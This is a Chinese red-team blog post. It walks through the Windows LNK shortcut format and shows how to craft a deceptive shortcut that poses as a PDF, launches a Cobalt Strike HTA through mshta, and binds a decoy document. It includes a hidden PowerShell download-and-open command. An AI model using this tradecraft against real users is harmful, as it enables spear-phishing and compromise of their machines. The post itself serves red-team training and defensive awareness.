HW在即——紅隊活動之Lnk樣本載荷篇

                注意:1.本篇文章由Gcow安全團隊絕影小組原創(chuàng)(主要研究于紅藍對抗領域)2.本篇文章一共2700多字,44張圖,預計用時8分鐘3.希望各位看官如果在看到錯誤的地方可以在私信或者評論向筆者指出,筆者將感激不盡4.如果因為本篇文章而造成的相關損失本公眾號不給予賠償.5.本篇文章只是學習交流,若出現(xiàn)因通過本篇文章而出現(xiàn)進行的攻擊活動,本公眾號概不負責

0x00.前言:

在日常的活動中,我們都可以看到LNK載荷的存在,從U盤蠕蟲對U盤文件進行偽裝,以達到欺騙受害人點擊的目的,再到紅隊活動甚至于部分APT組織也使用了LNK文件作為其投遞的主要載荷.LNK文件的載荷擁有自動隱藏.lnk后綴名,從而展現(xiàn)偽裝的后綴名以欺騙目標的特點而被廣泛使用,下面我們將先通過解析LNK文件格式進行切入,再通過其基礎進行樣本的相關構造,最后我們會介紹一些需要注意的地方.也希望各位看官如果在看到錯誤的地方可以在私信或者評論向筆者指出,筆者將感激不盡。

另外本樣本不討論相關的免殺性,免殺的操作請各位看官自己實現(xiàn).

0x01 LNK文件格式解析:

文件前20字節(jié)固定不變：

?HeaderSize(4 bytes,?offset 0x00)：0x0000004C?LinkCLSID(16 bytes,?offset 0x04)：00021401-0000-0000-C000-000000000046

0x01.1 LinkFlags

由offset 0x14起始4字節(jié)為LinkFlags(下圖來自微軟官方文檔)：

由圖片2可以看到，該文件LinkFlags為0x000802DB(Bin：0000 0000 0000 1000 0000 0010 1101 1011)，這表示以下Flag被設置：

?HasLinkTargetIDList?HasLinkInfo?HasRelativePath?HasWorkingDir?HasIconLocation?IsUnicode?HasExpIcon?DisableLinkPathTracking

上述Flag會在下文解釋，故此處先不做展開。

0x01.2 FileAttributes

由offset 0x18起始4字節(jié)為FileAttributes，0x00000020表示FILE_ATTRIBUTE_ARCHIVE。

0x01.3 CreateTime & AccessTime & WriteTime

由offset 0x1C開始，每個字段各占8字節(jié)：

0x01.4 FileSize

由圖4可以看到，FileSize為0x000E0400(占4個字節(jié))。

0x01.5 IconIndex

IconIndex為0x00000001(占4個字節(jié))。

0x01.6 ShowCommand & Hotkey

由offset 0x3C開始，ShowCommand占4字節(jié)，0x00000001表示SW_SHOWNORMAL,當然也可以根據(jù)具體的需要替換為SW_SHOWMAXIMIZED (0x00000003)(窗口最大化)以及SW_SHOWMINNOACTIVE (0x00000007)(窗口最小化)

Hotkey占2字節(jié)；余下10個字節(jié)均為保留位。

0x01.7 LinkTargetIDList

由于LinkFlags中HasLinkTargetIDList設為1，故文件包含LinkTargetIDList結構。LinkTargetIDList構成如下：

而IDList由ItemID構成，以2字節(jié)全為0的TerminalID作為結束：

下面來看示例文件中的LinkTargetIDList:

上圖紅色部分為IDListSize，綠色部分為TerminalID，中間藍色部分則為IDList。下面來看IDList，第一個ItemID如下：

?ItemIDSize(2 bytes, offset 0x004E)：0x0014?Data(12 bytes, offset 0x0050)：根據(jù)微軟官方文檔給出的信息，其含義為computer

第二個ItemID：

?ItemIDSize(2 bytes, offset 0x0062)：0x0019?Data(23 bytes, offset 0x0064)：其含義為c:

第三個ItemID：

不再贅述，其含義為Windows。

第四個ItemID：

其含義為System32。

第五個ItemID：

0x01.8 LinkInfo

由于LinkFlags中HasLinkInfo設為1，故文件包含LinkInfo結構。LinkInfo構成如下：

下面來看下示例文件中的LinkInfo：

?LinkInfoSize(4 bytes, offset 0x017B)：0x00000053?LinkInfoHeaderSize(4 bytes, offset 0x017F)：LinkInfo結構定義中指定該字段為0x0000001C?LinkInfoFlags(4 bytes, offset 0x0183)：0x00000001，表示VolumeIDAndLocalBasePath標志位設為1?VolumeIDOffset(4 bytes, offset 0x0187)：0x0000001C，自offset 0x017B處VolumeID偏移大小?LocalBasePathOffset(4 bytes, offset 0x018B)：0x00000035，自offset 0x017B處LocalBasePath偏移大小?CommonNetworkRelativeLinkOffset(4 bytes, offset 0x018F)：0x00000000，CommonNetworkRelativeLink不存在?CommonPathSuffixOffset(4 bytes, offset 0x0193)：0x00000052，自offset 0x017B處CommonPathSuffix偏移大小?VolumeID(25 bytes, offset 0x0197)：由于VolumeIDAndLocalBasePath設置為1，故包含VolumeID結構如下：?VolumeIDSize(4 bytes, offset 0x0197)：0x00000019?DriveType(4 bytes, offset 0x019B)：DRIVE_FIXED(3)?DriveSerialNumber(4 bytes, offset 0x019F)?VolumeLabelOffset(4 bytes, offset 0x01A3)：0x00000010，自offset 0x0197處VolumeLabel偏移大小?Data(9 bytes, offset 0x01A7)：Windows7?LocalBasePath(29 bytes, offset 0x01B0)：由于VolumeIDAndLocalBasePath設置為1，故包含LocalBasePath——"C:/Windows/System32/calc.exe"。該字段為指向鏈接目標的完整路徑。?CommonPathSuffix(1 byte, offset 0x01CD)：空字符

0x01.9 String Data

每個String Data結構如下：

由于LinkFlags中HasRelativePath設為1，故文件包含RELATIVE_PATH字符串：

紅色部分是CountCharacters(Unicode字符串長度，故應該為0x22*2=0x44)，藍色部分則為String。

之后是WORKING_DIR字符串：

ICON_LOCATION字符串：

0x01.10 EnvironmentVariableDataBlock

由于LinkFlags中HasExpString設為1，故文件包含EnvironmentVariableDataBlock：

?BlockSize(4 bytes)：該字段值必須為0x0314?BlockSignature (4 bytes)：該字段值必須為0xA0000001?TargetAnsi (260 bytes)：指定環(huán)境變量路徑(ANSI字符串)，詳見下圖。

?TargetUnicode(520 bytes)：指定環(huán)境變量路徑(UNICODE字符串)，詳見下圖。

0x01.11 EXTRA_DATA

由零個或多個下列數(shù)據(jù)塊與TERMINAL_BLOCK組成：

示例文件中的EXTRA_DATA包含SpecialFolderDataBlock：

?BlockSize(4 bytes)：0x00000010?BlockSignature(4 bytes)：0xA000005，標識SpecialFolderDataBlock?SpecialFolderID (4 bytes)：0x00000025，指定Folder ID?Offset(4 bytes)：0x000000D5，偏移大小，指向IDList中第五個ItemID

KnownFolderDataBlock：

?BlockSize(4 bytes)：0x0000001C?BlockSignature(4 bytes)：0xA00000B，標識KnownFolderDataBlock?KnownFolderID(16 bytes)：GUID?Offset(4 bytes)：0x000000D5，偏移大小，指向IDList中第五個ItemID

PropertyStoreDataBlock：

?BlockSize(4 bytes)：0x000001F4?BlockSignature(4 bytes)：0xA000009，標識PropertyStoreDataBlock?PropertryStore(492 bytes)TrackerDataBlock：

?BlockSize(4 bytes)：0x00000060?BlockSignature(4 bytes)：0xA000003，標識TrackerDataBlock?Length(4 bytes)：0x00000058，該數(shù)據(jù)塊最小長度?Version(4 bytes)：0x00000000?MachineID(16 bytes)?Droid(32 bytes)：2 GUID?DroidBirth(32 byte)：2 GUID

0x02 構造迷惑性LNK文件:

我們首先生成一個正常的LNK文件：

之后更改其圖標為%SystemRoot%/System32/SHELL32.dll中任意一個：

0x02.1 修改圖標

用010 Editor打開該LNK文件，找到String Data部分ICON_LOCATION字符串：

我們要將其修改為./1.pdf(Unicode)，其長度0x07：

其效果如下所示(左邊機器打開PDF文件的默認程序是XODO PDF Reader，中間是Adobe Reader，右邊是谷歌瀏覽器)：

其會根據(jù)目標機器上所安裝的環(huán)境進行適配,以顯示出符合本機環(huán)境的圖標,加大了樣本的成功幾率

0x02.2 修改目標

原始目標如下所示：

現(xiàn)在我們修改EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode：

圖片32 修改TargetAnsi

將其修改為%windir%/system32目錄不存在的一個EXE文件名。

效果展示：

但這時雙擊該文件會報錯：

所以我們需要再修改LinkTargetIDList中第五個ItemID：

如此一來，打開該文件便會彈出計算器：

0x03 擴展:

首先新建一指向%windir%/System32/mshta.exe的快捷方式(文件名盡量帶有迷惑性)，并更改其圖標為%SystemRoot%/System32/SHELL32.dll中任意一個：

之后更改其參數(shù)為HTA下載地址：

注：筆者是使用Cobalt Strike生成HTA文件：

于其執(zhí)行payload前增加如下語句(用于下載誘餌文檔并且進行打開,同時誘餌文檔的顯示有多種方法,這里只是舉一個例子)：

                    Dim open_pdf    Set open_pdf = CreateObject("Wscript.Shell")    open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'/LNK文件格式解析(修改版).pdf');Start-Process $env:temp'/LNK文件格式解析(修改版).pdf'", 0, true

這樣一來，在受害者打開LNK文件后會從遠程下載一正常PDF文檔并打開。

接下來按照0x02部分所述方法修改即可，此處加一個Tip——在其WORKING_DIR字符串前面添加大量空格字符，使其目標長度超過260個字符：

使用copy /B命令將其與正常PDF文檔捆綁，使其文件大小看起來更具有說服力：

之后雙擊該LNK文件，主機便會上線，而受害者會看到一正常的PDF文檔：

效果展示：

0x04.注意事項:

文中只是以pdf為后綴做了一個例子,看官在具體進行構造的時候可以使用其他的后綴,只要是后面以10 00 00 00結尾即可

當然看官也可以通過修改前面的規(guī)定數(shù)據(jù)大小的值以實現(xiàn)不拘泥于數(shù)字與字母的命名方式

如上圖中的docx所示其數(shù)據(jù)大小為9,數(shù)據(jù)值為.\11.docx而下面的png所顯示的數(shù)據(jù)大小為7,數(shù)據(jù)值為.\1.png。經(jīng)過反復的修改測試可得知,只要其數(shù)據(jù)值能夠符合其前面規(guī)定的數(shù)據(jù)塊其就可以正常解析并且顯示.

0x05.結語:

本文屬于拋磚引玉,其所使用的技術也不是很新穎.但的確可以在一定程度上起到迷惑的作用,故本絕影小組認為值得分享,同時鑒于有不少的APT組織(例如Gamaredon,Oceanlotus,SideWinder等)也同樣進行lnk載荷的投遞,希望各單位可以培養(yǎng)針對相關魚叉載荷的安全意識,以減少損失.